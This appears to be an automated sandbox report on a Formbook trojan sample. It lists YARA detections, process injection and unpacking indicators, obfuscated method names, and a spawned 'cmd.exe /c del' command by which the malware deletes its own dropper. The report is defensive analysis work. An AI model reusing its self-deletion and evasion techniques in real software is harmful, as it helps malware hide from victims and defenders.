          Source: 00000000.00000002.1660916542.0000000003B59000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000000.00000002.1660916542.0000000003B59000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: Process Memory Space: mQY9ka5sW6hv2Ri.exe PID: 6912, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: Process Memory Space: mQY9ka5sW6hv2Ri.exe PID: 2676, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: Process Memory Space: msdt.exe PID: 6956, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: mQY9ka5sW6hv2Ri.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3e905a0.6.raw.unpack, xAjfVuKcAf4Og71LT4.csSecurity API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3e905a0.6.raw.unpack, xAjfVuKcAf4Og71LT4.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3e905a0.6.raw.unpack, xAjfVuKcAf4Og71LT4.csSecurity API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3f003c0.5.raw.unpack, QdNndQQ6nZ5EJDtnt1.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.79d0000.9.raw.unpack, xAjfVuKcAf4Og71LT4.csSecurity API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.79d0000.9.raw.unpack, xAjfVuKcAf4Og71LT4.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.79d0000.9.raw.unpack, xAjfVuKcAf4Og71LT4.csSecurity API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.79d0000.9.raw.unpack, QdNndQQ6nZ5EJDtnt1.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3f003c0.5.raw.unpack, xAjfVuKcAf4Og71LT4.csSecurity API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3f003c0.5.raw.unpack, xAjfVuKcAf4Og71LT4.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3f003c0.5.raw.unpack, xAjfVuKcAf4Og71LT4.csSecurity API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3e905a0.6.raw.unpack, QdNndQQ6nZ5EJDtnt1.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.2d14620.0.raw.unpack, ReactionVessel.csSuspicious method names: .ReactionVessel.Inject
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.7120000.8.raw.unpack, ReactionVessel.csSuspicious method names: .ReactionVessel.Inject
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.2d357f0.4.raw.unpack, ReactionVessel.csSuspicious method names: .ReactionVessel.Inject
          Source: classification engineClassification label: mal100.troj.evad.winEXE@524/1@12/6
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_0088A006 CoCreateInstance,SysAllocString,SysFreeString,6_2_0088A006
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_008B1DB3 FindResourceW,GetLastError,LoadResource,GetLastError,LockResource,SizeofResource,GetLastError,GlobalAlloc,GetLastError,GlobalLock,GetLastError,memcpy,CreateStreamOnHGlobal,FreeResource,GlobalUnlock,GlobalFree,6_2_008B1DB3
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeFile created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\mQY9ka5sW6hv2Ri.exe.logJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeMutant created: NULL
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3488:120:WilError_03
          Source: mQY9ka5sW6hv2Ri.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
          Source: mQY9ka5sW6hv2Ri.exeStatic file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.79%
          Source: C:\Windows\explorer.exeFile read: C:\Users\desktop.iniJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
          Source: mQY9ka5sW6hv2Ri.exeReversingLabs: Detection: 31%
          Source: unknownProcess created: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe "C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe"
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess created: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe "C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe"
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess created: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe "C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe"
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess created: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe "C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe"
          Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\msdt.exe "C:\Windows\SysWOW64\msdt.exe"
          Source: C:\Windows\SysWOW64\msdt.exeProcess created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe"
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess created: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe "C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe"Jump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess created: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe "C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe"Jump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess created: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe "C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe"Jump to behavior
          Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\msdt.exe "C:\Windows\SysWOW64\msdt.exe"Jump to behavior
          Source: C:\Windows\SysWOW64\msdt.exeProcess created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe"Jump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeSection loaded: mscoree.dllJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeSection loaded: apphelp.dllJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeSection loaded: kernel.appcore.dllJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeSection loaded: version.dllJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeSection loaded: uxtheme.dllJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeSection loaded: windows.storage.dllJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeSection loaded: wldp.dllJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeSection loaded: profapi.dllJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeSection loaded: cryptsp.dllJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeSection loaded: rsaenh.dllJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeSection loaded: cryptbase.dllJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeSection loaded: dwrite.dllJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeSection loaded: amsi.dllJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeSection loaded: userenv.dllJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeSection loaded: msasn1.dllJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeSection loaded: gpapi.dllJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeSection loaded: windowscodecs.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: vcruntime140_1.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: vcruntime140.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: msvcp140.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: vcruntime140_1.dllJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32Jump to behavior
          Source: Window RecorderWindow detected: More than 3 window changes detected
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
          Source: mQY9ka5sW6hv2Ri.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
          Source: mQY9ka5sW6hv2Ri.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
          Source: Binary string: msdt.pdbGCTL source: mQY9ka5sW6hv2Ri.exe, 00000004.00000002.1771720567.00000000010F0000.00000040.10000000.00040000.00000000.sdmp, msdt.exe, 00000006.00000002.4091465372.0000000000870000.00000040.80000000.00040000.00000000.sdmp
          Source: Binary string: wntdll.pdbUGP source: mQY9ka5sW6hv2Ri.exe, 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, msdt.exe, 00000006.00000003.1771716252.00000000046B8000.00000004.00000020.00020000.00000000.sdmp, msdt.exe, 00000006.00000003.1773310292.0000000004863000.00000004.00000020.00020000.00000000.sdmp, msdt.exe, 00000006.00000002.4092239644.0000000004BAE000.00000040.00001000.00020000.00000000.sdmp, msdt.exe, 00000006.00000002.4092239644.0000000004A10000.00000040.00001000.00020000.00000000.sdmp
          Source: Binary string: wntdll.pdb source: mQY9ka5sW6hv2Ri.exe, mQY9ka5sW6hv2Ri.exe, 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, msdt.exe, msdt.exe, 00000006.00000003.1771716252.00000000046B8000.00000004.00000020.00020000.00000000.sdmp, msdt.exe, 00000006.00000003.1773310292.0000000004863000.00000004.00000020.00020000.00000000.sdmp, msdt.exe, 00000006.00000002.4092239644.0000000004BAE000.00000040.00001000.00020000.00000000.sdmp, msdt.exe, 00000006.00000002.4092239644.0000000004A10000.00000040.00001000.00020000.00000000.sdmp
          Source: Binary string: msdt.pdb source: mQY9ka5sW6hv2Ri.exe, 00000004.00000002.1771720567.00000000010F0000.00000040.10000000.00040000.00000000.sdmp, msdt.exe, msdt.exe, 00000006.00000002.4091465372.0000000000870000.00000040.80000000.00040000.00000000.sdmp

          Data Obfuscation

          barindex
          .NET source code contains potential unpacker
          Source: mQY9ka5sW6hv2Ri.exe, OptionsWindow.cs.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3f003c0.5.raw.unpack, xAjfVuKcAf4Og71LT4.cs.Net Code: SAsiXBqbo5 System.Reflection.Assembly.Load(byte[])
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3e905a0.6.raw.unpack, xAjfVuKcAf4Og71LT4.cs.Net Code: SAsiXBqbo5 System.Reflection.Assembly.Load(byte[])
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.79d0000.9.raw.unpack, xAjfVuKcAf4Og71LT4.cs.Net Code: SAsiXBqbo5 System.Reflection.Assembly.Load(byte[])
          Source: 5.2.explorer.exe.1143f840.0.raw.unpack, OptionsWindow.cs.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
          Source: 6.2.msdt.exe.4f5f840.3.raw.unpack, OptionsWindow.cs.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 0_2_07925F98 push eax; mov dword ptr [esp], ecx0_2_07925F9C
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 0_2_0794A468 pushad ; iretd 0_2_0794A475
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 0_2_0794BBC1 push esp; retf 0_2_0794BBCD
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_00417884 push esp; iretd 4_2_0041788A
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0041E140 push ebx; ret 4_2_0041E2DC
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_00416958 push ebx; retf 4_2_0041695A
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0041AAE6 push AD0710D7h; ret 4_2_0041AAED
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0040E2AD push edi; ret 4_2_0040E2B6
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_00416AB9 push 6DD8D03Bh; retf 4_2_00416ABF
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0041A3B2 push eax; ret 4_2_0041A3B4
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0041D4B5 push eax; ret 4_2_0041D508
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0041D56C push eax; ret 4_2_0041D572
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0041D502 push eax; ret 4_2_0041D508
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0041D50B push eax; ret 4_2_0041D572
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_00417741 push 00000072h; retf 4_2_0041776D
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0041771C push edx; ret 4_2_00417728
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_004077A4 pushfd ; retf 4_2_004077AE
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0116225F pushad ; ret 4_2_011627F9
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011627FA pushad ; ret 4_2_011627F9
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011909AD push ecx; mov dword ptr [esp], ecx4_2_011909B6
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0116283D push eax; iretd 4_2_01162858
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01161368 push eax; iretd 4_2_01161369
          Source: C:\Windows\explorer.exeCode function: 5_2_0E8C6B02 push esp; retn 0000h5_2_0E8C6B03
          Source: C:\Windows\explorer.exeCode function: 5_2_0E8C6B1E push esp; retn 0000h5_2_0E8C6B1F
          Source: C:\Windows\explorer.exeCode function: 5_2_0E8C69B5 push esp; retn 0000h5_2_0E8C6AE7
          Source: C:\Windows\explorer.exeCode function: 5_2_0F6BBB02 push esp; retn 0000h5_2_0F6BBB03
          Source: C:\Windows\explorer.exeCode function: 5_2_0F6BBB1E push esp; retn 0000h5_2_0F6BBB1F
          Source: C:\Windows\explorer.exeCode function: 5_2_0F6BB9B5 push esp; retn 0000h5_2_0F6BBAE7
          Source: C:\Windows\explorer.exeCode function: 5_2_0FBBF9B5 push esp; retn 0000h5_2_0FBBFAE7
          Source: C:\Windows\explorer.exeCode function: 5_2_0FBBFB1E push esp; retn 0000h5_2_0FBBFB1F
          Source: C:\Windows\explorer.exeCode function: 5_2_0FBBFB02 push esp; retn 0000h5_2_0FBBFB03
          Source: mQY9ka5sW6hv2Ri.exeStatic PE information: section name: .text entropy: 7.955074705738379
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3f003c0.5.raw.unpack, AcmBDkmm30oEvpwIly.csHigh entropy of concatenated method names: 'rhOp8b8cbh', 'HJvpLip2Y1', 'dckpcnpuM4', 'R3Sp91ZPsJ', 'X0UpBMVKNw', 'dVIpukQPWg', 'xmCpee0gtd', 'dAMpVYZpwp', 'FYPpry6AZf', 'cTSp5oR7m9'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3f003c0.5.raw.unpack, xAjfVuKcAf4Og71LT4.csHigh entropy of concatenated method names: 'hU1bwi4PvH', 'OklbNQp3Uu', 'ObNbWagt0V', 'ES1bM8t9jq', 'vTRbvkOvrg', 'pOYbKjSl6c', 'xAebf3BmDZ', 'I6jbxlX6MM', 'YQFbqkdY4y', 'vcHb7Sv5WH'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3f003c0.5.raw.unpack, eOKRCaoe3fhH3gYZFB.csHigh entropy of concatenated method names: 'HyXKwI3iyo', 'IKcKW7pA3L', 'L0XKv7tSYB', 'mseKfTLj14', 'GcsKxSbVhx', 'metvZcKaKl', 'cPKv0MtKf8', 'FBevgZi9LQ', 'LnavDfgYPr', 'XDcvYLm0Os'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3f003c0.5.raw.unpack, xAZT7rRNi7CIxwkhSs.csHigh entropy of concatenated method names: 'nVKfJJecJ5', 'lBqfRRrGYa', 'utSfXt2PoB', 'UyqfdcNgJf', 'wrIfPb16aZ', 'qMffoI9vS6', 'Os7fAJ4TSb', 'BI0fyGh842', 'yEOfkeWvpe', 'd7ofEiQdjW'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3f003c0.5.raw.unpack, PkyUxHhb0mm11LKqcJ.csHigh entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'j8BGYBsa3D', 'WjpG6gc4e7', 'KgFGzibWF6', 'csYbTSOs50', 'JiwbSgKmux', 'tENbGo3v2Z', 'pnpbbfCxRD', 'uJbmmFhsFyEmOnMWQ31'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3f003c0.5.raw.unpack, CRgmFmrWJuwbjNi6aB.csHigh entropy of concatenated method names: 'vFFfNYgyGQ', 'eFGfMKlN8K', 'yAPfK7TUok', 'QbTK6eVety', 'luxKz6nwmI', 'j8lfTcMTM2', 'MH8fSMDw37', 'NrOfGovrGH', 'oBdfbhnQ7p', 'FwqfibxeGA'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3f003c0.5.raw.unpack, En1UhvAG0Xg43a3j3af.csHigh entropy of concatenated method names: 'o5GhJuqOv1', 'cDZhRF9cJf', 'JZZhXCbDTZ', 'Js4hdjIISW', 'u8ghP42nBF', 'nrahoFtvjj', 'BHBhAtgVfM', 'sEmhyhn40q', 'IV5hkiQPwB', 'tYRhEaKIqv'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3f003c0.5.raw.unpack, GVRvFJpS4eaHdtKgN8.csHigh entropy of concatenated method names: 'uAjvPDvuly', 'aJovAyYaCU', 'JIKMu5uaNE', 'NNGMeI7pk3', 'HGAMVEmeka', 'H2HMrkxdnk', 'LwfM5THrI1', 'inFMjW2Tfa', 'mcVMsHDUXU', 'myrM8CbApQ'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3f003c0.5.raw.unpack, kZKWDRIFgoibh1hb2T.csHigh entropy of concatenated method names: 'ToString', 'z8N4aeZC4f', 'sm54B0PkF1', 'Jau4uc1jOy', 'MEa4etyCDG', 'Q1F4VlCy56', 'VZP4rdcIu4', 'H5G45PqSR7', 'xnV4jyvSsD', 'P5w4sKOVHw'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3f003c0.5.raw.unpack, Ek4LhktCeUZ4vOf7Ua.csHigh entropy of concatenated method names: 'hEXMdybeRd', 'TdjMo19niM', 'VnpMyvPWr9', 'r8WMk8fw89', 'vTTMpMUjh1', 'i0tM478XTt', 'H61MnWHv4R', 'K3fMmqfnxd', 'BDEMhwmJVf', 'b1FM2f9ZmF'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3f003c0.5.raw.unpack, pocZvdWaYcBDH0pnRC.csHigh entropy of concatenated method names: 'e2WIyxLImo', 'wQtIkNaHH0', 'xkoItbKgxl', 'GyiIB6R5cf', 'kjvIeJvYjr', 'PYKIVIX4vU', 'piqI5a4yvv', 'u4AIjAdES3', 'vWyI882UV9', 'AnqIaxYNVf'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3f003c0.5.raw.unpack, i4UKlxTbGliEA9DbaS.csHigh entropy of concatenated method names: 'QHchSwSjwi', 'skJhbk9wQp', 'nx8hih9ELx', 'HRYhNAOsGY', 'MwxhWoHpmC', 'bfehv3MNqx', 'lw9hKfyhmg', 'miWmgAl2U9', 'KInmDmGLsu', 'zfkmY2tplv'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3f003c0.5.raw.unpack, QWExWLAqoGuZC75pehx.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'gHQ2cDU1Mg', 'hdy29JQByg', 'liQ21Q157d', 'o7d2UHsmkO', 'Xk02ZcZjn5', 'iFf20V2dfw', 'HfI2gPvV6r'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3f003c0.5.raw.unpack, QdNndQQ6nZ5EJDtnt1.csHigh entropy of concatenated method names: 'XGLWcmVP03', 'q1AW9O8PmB', 'n5lW17bxna', 'mNXWUSxLpE', 'lgHWZV0Nro', 'OkZW0ecwnx', 'HjBWgfP61l', 'PhNWDqX4rW', 'B0iWYp8Q3q', 'giwW6gFBfv'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3f003c0.5.raw.unpack, ktsjOqgCZu1GFFowlH.csHigh entropy of concatenated method names: 'MJnmtHT1Eq', 'FGRmBsLcdj', 'uQcmuD8ItA', 'KSamegy3V9', 'ztrmc0WvyS', 'fOGmVoLmTu', 'Next', 'Next', 'Next', 'NextBytes'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3f003c0.5.raw.unpack, WXrH4jVeKlucQK3169.csHigh entropy of concatenated method names: 'SELXO9ywk', 'TiZdl4BXI', 'hvVoagmbT', 'JumAQmALo', 'ns7kAGc1w', 's89E6F5B5', 'h4ZvHTIxB0TlueTR65', 'sfTDkQXVfeHdYw1hVl', 'G6CmgMdXj', 'nhJ2Jk5DJ'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3f003c0.5.raw.unpack, FBTy3x8mprisgqbcUr.csHigh entropy of concatenated method names: 'bNCnDsop60', 'KHIn6lR7dR', 'uiWmTPrr1J', 'z6YmSceVt0', 'WKfnaeYlVx', 'D80nLVpJEC', 'A91nQIDkel', 'jWYncWn5Dt', 'LhFn9usQar', 'YvUn1XBmWC'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3f003c0.5.raw.unpack, YaIgQIyAUXnF75o8tN.csHigh entropy of concatenated method names: 'Aw4mN4bEYN', 'd3NmWLfbwr', 'F8pmMyFJZS', 'w8EmvjXKvw', 'SxXmKCfb6p', 'YIdmfUsHPM', 'PVHmxCMiCs', 'Km2mqgBNkS', 'DMXm7shkCG', 'xfTmFE21gZ'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3f003c0.5.raw.unpack, VBD99jHbNBN6seWpOy.csHigh entropy of concatenated method names: 'Dispose', 'sEuSYB5Cf2', 's16GBKj9IJ', 'doMHHGdMq3', 'Qw9S6B4tWJ', 'f8ySzbBWGy', 'ProcessDialogKey', 'Hm5GTlqf2e', 'eoLGSlCGZe', 'J77GGe8KcY'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3f003c0.5.raw.unpack, P1L7kyMMcEp8en6UhP.csHigh entropy of concatenated method names: 'zRiK1IGB9f', 'PA7KUCK26n', 'wVmKZ1APG3', 'ToString', 'XpxK0Robnm', 'vo4KgualDF', 'E27BHysRRy7McdrhL9I', 'CxShFWsrvV6YGvsAXbM'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3f003c0.5.raw.unpack, g2Zqnh36w0L7u7l6kJ.csHigh entropy of concatenated method names: 'qk5SfQ5AqH', 'RGUSxirRrN', 'RVwS7HvruL', 'BnFSFWtEeK', 'bbmSprcDb2', 'uRuS49SRSO', 'bwyrDYplvcPytTLjoN', 'ARfBeN1UyL5mDnReuL', 'cNeSS4iFjJ', 'hCNSbkry63'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3f003c0.5.raw.unpack, bS4Vc8AV0HcgkuQItZG.csHigh entropy of concatenated method names: 'Wkk2JDYcLU', 'tiB2RFUT8I', 'gSw2X2XGsZ', 'sDa9pB7ds4VmovDFeMM', 'KInGwJ7Fg4WQN3TCxOF', 'kvxq6f7p2tScaSYQ9oc', 'sl83bw71f25LExvBtxO'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3f003c0.5.raw.unpack, xavLmCzdnYGj8CDZxw.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'MuahIjLKFc', 'rDWhppcb4S', 'hv0h4RdxLN', 'nCyhnD3Djk', 'sI8hmiLiyk', 'UY5hh3NOVy', 'SI9h2aotwA'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3e905a0.6.raw.unpack, AcmBDkmm30oEvpwIly.csHigh entropy of concatenated method names: 'rhOp8b8cbh', 'HJvpLip2Y1', 'dckpcnpuM4', 'R3Sp91ZPsJ', 'X0UpBMVKNw', 'dVIpukQPWg', 'xmCpee0gtd', 'dAMpVYZpwp', 'FYPpry6AZf', 'cTSp5oR7m9'
          Source: 0.2.mQY9ka5sW6hv2Ri.exe.3e905a0.6.raw.unpack, xAjfVuKcAf4Og71LT4.csHigh entropy of concatenated method names: 'hU1bwi4PvH', 'OklbNQp3Uu', 'ObNbWagt0V', 'ES1bM8t9jq', 'vTRbvkOvrg', 'pOYbKjSl6c', 'xAebf3BmDZ', 'I6jbxlX6MM', 'YQFbqkdY4y', 'vcHb7Sv5WH'
